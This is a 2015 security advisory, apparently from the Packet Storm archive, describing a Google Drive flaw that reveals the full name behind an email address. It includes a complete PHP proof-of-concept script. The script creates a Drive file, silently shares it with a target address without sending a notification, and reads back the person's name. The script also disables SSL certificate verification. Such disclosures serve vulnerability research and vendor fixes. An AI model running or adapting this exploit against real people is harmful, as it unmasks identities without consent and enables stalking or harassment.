what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Google Drive Information Leak

Google Drive Information Leak
Posted Jan 22, 2015
Authored by kevin mcsheehan

Google Drive suffers from a full name disclosure information leak vulnerability.

tags | advisory, info disclosure
SHA-256 | 1796e327e19e3a16fd8c5e4b451692d2b08ffefa625873becebca0eec57951a8

Google Drive Information Leak

Change Mirror Download
exploit title: full name disclosure information leak in google drive
software link: https://drive.google.com/drive/#my-drive
author: kevin mcsheehan
website: http://mcsheehan.com
email: kevin@mcsheehan.com
date: 01/20/15

source: http://mcsheehan.com/?p=15

description: google drive leaks the full name of a target email
address when said email address is associated with an uploaded file.
the full name is displayed whether or not the target has made that
information publicly accessible by creating a google plus account. in
some cases, full name disclosure isn't limited to @gmail/@google and
the full names of @hotmail, @yahoo, etc. users may also be revealed. a
live poc example can be used at the aforementioned source url, or
hosted yourself with the following proof of concept php code which
utilizes
https://github.com/google/google-api-php-client/archive/master.zip and
google drive api:

<?php

//discovered by kevin@mcsheehan.com / http://mcsheehan.com
//instructions: using google developers console, generate api
credentials after enabling drive api on a new project and then edit
this file with said credentials (i.e. clientid, clientsecret,
redirecturi) - this also requires google-api-php-client which can be
downloaded here:
https://github.com/google/google-api-php-client/archive/master.zip

$targetEmail = 'target@gmail.com';

require_once "google-api-php-client/src/Google/Client.php";
require_once "google-api-php-client/src/Google/Service/Drive.php";
require_once "google-api-php-client/src/Google/Auth/AssertionCredentials.php";

$cScope = 'https://www.googleapis.com/auth/drive';
$cClientID = '[clientid]';
$cClientSecret = '[clientsecret]';
$cRedirectURI = '[redirecturi]'; //redirect to this file

$cAuthCode = '';

if(isset( $_GET['code'])) {
$cAuthCode = $_GET['code'];
}
if (!($cAuthCode) == "null") {
$rsParams = array(
'scope' => $cScope,
'state' => 'security_token',
'redirect_uri' => $cRedirectURI,
'response_type' => 'code',
'client_id' => $cClientID,
'access_type' => 'offline',
'approval_prompt' => 'force'
);

$cOauthURL = 'https://accounts.google.com/o/oauth2/auth?' .
http_build_query($rsParams);
header('Location: ' . $cOauthURL);
exit();
}
elseif (empty($cRefreshToken)) {
$authURL = "https://www.googleapis.com/oauth2/v3/token?code=" .
$cAuthCode . "&client_id=" . $cClientID . "&client_secret=" .
$cClientSecret . "&redirect_uri=" . $cRedirectURI .
"&grant_type=authorization_code";
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, $authURL);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);

$oToken = json_decode($output);

$accessToken = $oToken->access_token;
$refreshToken = $oToken->refresh_token;

}

$createURL = "https://www.googleapis.com/drive/v2/files";
$ch = curl_init();
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
"Authorization: Bearer " . $accessToken
));
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, $createURL);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"title\": \"revealyourself1\"}");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);

$oToken = json_decode($output);
$fileID = $oToken->id;

$compileJSON = array("role" => "writer","type" => "user","value"
=> $targetEmail,"emailAddress" => $targetEmail);
$jsonPostData = json_encode($compileJSON);

$addUser = "https://www.googleapis.com/drive/v2/files/" . $fileID
.. "/permissions?sendNotificationEmails=false";
$ch = curl_init();
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
"Authorization: Bearer " . $accessToken
));
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, $addUser);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonPostData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);

if (strpos($output,'error') !== false) {
echo 'error feedback from google:<br><br>' . $output;
} else {
$oToken = json_decode($output);
$fullName = $oToken->name;
echo $targetEmail . ' is ' . $fullName;
}

?>



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close